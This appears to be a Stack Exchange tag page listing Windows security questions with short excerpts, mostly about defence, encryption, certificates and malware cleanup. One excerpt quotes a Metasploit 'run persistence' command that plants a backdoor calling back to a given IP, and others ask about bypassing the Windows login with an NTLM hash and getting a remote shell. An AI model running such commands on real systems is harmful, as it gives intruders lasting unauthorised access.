Related to security concerns specific to the Microsoft Windows operating system itself. For security of applications that happen to be running on Windows, please use [appsec]. For the X Window System, please use [x11].

learn more… | top users | synonyms

0
votes
2answers
177 views

How can you be sure that there is a virus on your computer?

Am I being paranoid? I'm seeing signs of a virus everywhere on my computers but I have no way of being sure. I've tried scanning with Windows Defender multiple times but haven't found anything. My ...
0
votes
2answers
71 views

Running an app in docker on Windows

If I run an app in a docker container using Kitematic, does that help protect my system from that app? I mean: does it prevent any problems if the app tries to damage the Operating System?
1
vote
1answer
48 views

How can I list all self-signed certificates in my stores on a Windows client?

I'm on a mission to list the self-signed certificates ('issued by' and 'issued to' match) on my machine via an automated method. PowerShell is available for use. Preferably the results would be ...
-1
votes
6answers
2k views

How to prevent illegal file transfer or copying of video files from a PC? [closed]

I have developed a windows desktop application using VB.NET. My applications main purpose is to play videos. I have some videos which has copyrights on them, that are not suppose to be distributed or ...
3
votes
0answers
92 views

Work wants to create an admin account on my system that I don't have access to? [closed]

This is on a Windows 10 system, and they want to create an administrator account that only my manager will have the password to. This is apparently to enforce some new "security policies" that haven't ...
0
votes
0answers
30 views

Scheduled tasks that need domain admin privileges

I have a Windows 10 box that runs a whole bunch of Powershell scripts, some of those contain cmdlets that need to be run against a DC, or mail server, for eg. Get-ADComputer, and Get-DhcpServerv4Scope....
10
votes
1answer
547 views

Are keyboard hooks inherently malicious?

My software is using low-level keyboard and mouse Win32 hooks for legitimate reasons (if it's any relevant, it's for determining a change in the caret position of the active code pane in the VBA IDE). ...
0
votes
0answers
25 views

How can I do a Windows registry check with OpenVAS with out a port scan?

OpenVAS has the function to check Windows registries, but when i try to check a registry it also does a port scan. I used the scan configuration out off the manual. http://docs.greenbone.net/GSM-...
1
vote
1answer
81 views

Multiple instances of programs allowed in Windows Firewall

I am new to Windows Firewall. While allowing a program through Windows Firewall, I found multiple entries present for Firefox and Java. Why is that?
0
votes
0answers
33 views

Can a virus execute without user interaction? [duplicate]

I have seen a lot of malware infection techniques where the user is infected by drive by downloads through browser vulnerabilities or social engineering. But is there a way that a virus could execute ...
3
votes
2answers
94 views

How to protect from WPAD attacks?

If you are in a Windows network, and you basically connect to a website ; And there is an attacker on Linux who changes the hostname to WPAD and configures WPAD.dat in his system, all your PC's ...
3
votes
1answer
142 views

How is encryption different for Windows yet they are identical?

I right clicked on C:\Users\USERNAME and did advanced -> enable encryption. On one laptop it turned green. The other it shows an icon on the files with a lock. What is the difference between these? ...
2
votes
1answer
173 views

Can Windows BitLocker encryption be broken by Live Boot?

I have a Windows system and I protected the drive with BitLocker encryption. Can BitLocker encryption be bypassed by live-booting with Linux or any other OS?
3
votes
2answers
172 views

How difficult is it to brute-force Windows EFS encryption?

With EFS I have C:\$USER\ encrypted so all files owned and used by said user are encrypted. If this laptop is stolen, am I correct that they could pull the microsoft user password hashes, crack them,...
0
votes
0answers
20 views

Windows Server 2012 disable MFA for a single user?

I'm having issues with this for whatever reason. I created a new user and MFA is supposedly disabled but it doesn't seem to be true. Is there maybe something I've missed or is there an easier (more ...
1
vote
2answers
182 views

Would a RansomWhere application be possible for Windows too?

This is related to RansomWhere? which is a OS X specific defense developed by a former NSA employee. The premise is that it will "generically" stop ransomware from encrypting files on the OS. ...
3
votes
0answers
61 views

Will WinVerifyTrust return true for a file signed by a revoked certificate, before it was revoked?

I've seen mentions online that drivers that were signed by certificates that were later revoked are still trusted by Windows' driver integrity. Apparently if the file was signed before the revocation ...
1
vote
0answers
14 views

Does windows still use it's software based user keys when TPM-based EFS is enabled?

I have an infineon TPM installed, with ownership taken, and EFS enabled with the TPM taking control of EFS for me. I do know that regular EFS uses the windows user cryptography/login password to ...
4
votes
2answers
247 views

How do I protect my passwords from WebBrowserPassView?

I just got shocked with what can be achieved with WebBrowserPassView. It basically shows every password I've saved in my browser (Chrome). I guess other users on my PC could get my passwords that ...
1
vote
0answers
30 views

Change NTLM hash in memory on the lock screen?

Is there a way to change the ntlm hash in memory to bypass Windows login? For example, I have the NTLM hash of a Windows machine and I have physical access. Is possible to write the NTLM hash in ...
3
votes
1answer
78 views

What are some vulnerabilities of environment variables (on any platform)?

I am writing a small cross platform Python application (a package manager to be used internally by my corp), and I'm thinking of using something similar to this answer on Stack Overflow to check for ...
0
votes
0answers
48 views

Integrated Windows Authentication and Java/Unix

I have a specific scenario where we have existing ASP.NET Web applications/services hosted in IIS and accessible via Integrated Windows Authentication. The challenge is to have a new web application ...
2
votes
4answers
109 views

Assuming UAC is enabled, does a non-administrator account offer any security improvements?

I've been wondering: assuming a modern Windows edition (>= 7), and that UAC is enabled, what benefits are there if I additionally use the system as a standard user? From what I understand, the only ...
4
votes
1answer
130 views

How secure is the Windows Credential Manager?

I'm a Lastpass user and many times I thought about switching to the Credential Manager, for auto sync and a certain comfort with the windows environment. The only thing that I'm worried about is its ...
1
vote
1answer
88 views

How can I manually add login credentials through the Windows Credential Manager?

For example I'd like to add the Steam login credentials, since the browsers won't ask to save the password. Is there a way to do it manually? If I choose to add a new windows credentials and put in ...
7
votes
7answers
750 views

Does Windows 10 leak information about your IP address?

There are various reports of Windows 10 automatically sending out data when the user opens the start menu. Can that information or other information that Windows 10 automatically sends out to the ...
3
votes
1answer
117 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
15
votes
3answers
1k views

Is it safe to post dxdiag on the internet?

Is there any information that might be useful to damage me on the dxdiag.txt file generated by windows 7? A technical support forum from a big company (I guess they know what they're doing) asks me ...
2
votes
3answers
293 views

Install a vulnerable service for Windows 7

I have some kind of a project or demonstration, where I have to exploit Windows 7 to get a remote shell. I did a vulnerability scan with nessus on my Windows 7 machine, but I didn't find any kind of ...
2
votes
1answer
82 views

What are the security implications of autorun and external drives?

I have some questions about the security implications of accessing internal and external storage since I cant find any more information on it from what I've read. I have read about a variety of ...
2
votes
1answer
591 views

With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows? [closed]

So apparently Hell has finally and completely frozen over: the next major update for Windows 10 will be able to natively run Bash, related tools, and even some broader set of Linux binaries/programs ...
4
votes
1answer
218 views

How secure is Sandboxie?

Sandboxie is a very popular and useful program for handling suspicious executables on Windows. Due to flawed security properties of Windows systems (eg. compared to Linuxes), it is hard to rely on the ...
6
votes
3answers
290 views

Does malware persist after wiping hard drive and reinstalling OS from manufacturer disc? [duplicate]

This question is related to a computer where users other than the owner have had access for periods of several hours at a time. The following steps have been taken to clean the computer: Used ...
-2
votes
1answer
93 views

anti cloning hard disk [closed]

I'm trying to create an "anti-cloning" system. I'd like to know if there's a way to check a unique label on the hard disk, during the boot phase, in order to avoid the machine to continue booting if ...
3
votes
0answers
81 views

How to extract windows event logs from a hard disk forensic image?

I have created an image of hard disk using FTK imager. I want to extract the windows event logs. The system was running windows 7. What should I do?
7
votes
4answers
1k views

How to trace the actions performed by a virus?

Is that possible to trace the actions performed by a virus? Run Time , stolen data and the files consulted and get the relative impact on my pc.?
3
votes
3answers
205 views

How to check if I have a rogue SSL/TLS certificate?

It's known, that if someone manages to install their certificate as a trusted certificate on your Windows computer, they can read all you SSl/TLS traffic with man-in-the-middle attack and you won't ...
2
votes
1answer
54 views

Will browsers trust an expired self sign certificate in the Trusted Root store

I recently discovered that if Windows AD LDS services are bound to a self signed certificate, that processes will continue to trust the cert even if it's expired. My guess is this is because the cert ...
1
vote
1answer
55 views

Windows command line does not check for revoked certificates: How bad is it?

I recently updated my D-link wifi dongle driver. However, I had to do this through the command line because Microsoft revoked the D-link certificates after a leak. The executable would simply not ...
1
vote
2answers
267 views

Track USB activity on Windows

I want to know what happens in my USB Devices (file creation, file renamed, etc) without use an external tool. I'm using Windows 7, can I enable some GPO to log these actions? Here use the event ...
3
votes
2answers
55 views

Is ignoring share permissions ok?

For my small home network I've found that it is easiest to setup network shares with share permissions set to Everyone: Full Control share permission and then configure the NTFS permissions according ...
0
votes
1answer
60 views

External Hard Drive Operating System [closed]

If I put a OS onto a External hard drive, would it allow viruses to infect my internal hard drive?
-2
votes
1answer
107 views

How does Windows 7 login work? [closed]

Maybe the question can be considered ambiguous, so: how does Windows 7 work for its login authentication? What are the involved processes and what do they do?
1
vote
1answer
111 views

Privilige escalation with CreateNamedPipe and Impersonation for Windows Server 2012

While working with window based application came to know that local privilege escalation is possible when we use CreateNamedPipe method with Impersonation. This vulnerability was reported in Windows ...
0
votes
1answer
152 views

Is that possible for Linux and windows machines to be infected with KeRanger ransomware?

According to theguardian The Transmission site offers the open source software that was infected with the ransomware called KeRanger malware, it's programmed to encrypt files on an infected personal ...
0
votes
0answers
24 views

Windows : security of USBNET / RNDIS

I'm having trouble finding documentation about how to setup any security for RNDIS or if the system is already secure enough. For those who doesn't know RNDIS is a protocol that permits a USB ...
0
votes
1answer
162 views

Block OS fingerprinting without using iptables?

I have a Linux machine connected to a Windows 98 PC on port 104. Now I want to block the OS fingerprinting using nmap for the windows 98 PC. I tried using iptables (blocking that particular port) but ...
9
votes
3answers
589 views

Is denying write access an effective way to stop ransomware?

I'm looking for ways to defend against ransomware. As part of this strategy I've come up with the idea to block myself from writing to as many locations (and files) as possible. It may be assumed ...
0
votes
1answer
74 views

What is the difference between a certificate, a signature and a thumbprint in case of windows exe/binaries?

I am trying to understand the difference between signature , thumbprint and certificate in context of windows executable and binaries. I looked up on internet before posting this question but I did ...
0
votes
1answer
58 views

Security implications of “local admin on host OS” vs “local admin on virtual guest OS”

At work we have a discussion on computer security. The scenario: Our work PCs are Windows desktops that are part of a windows domain Users have domain accounts they use to log in to windows The ...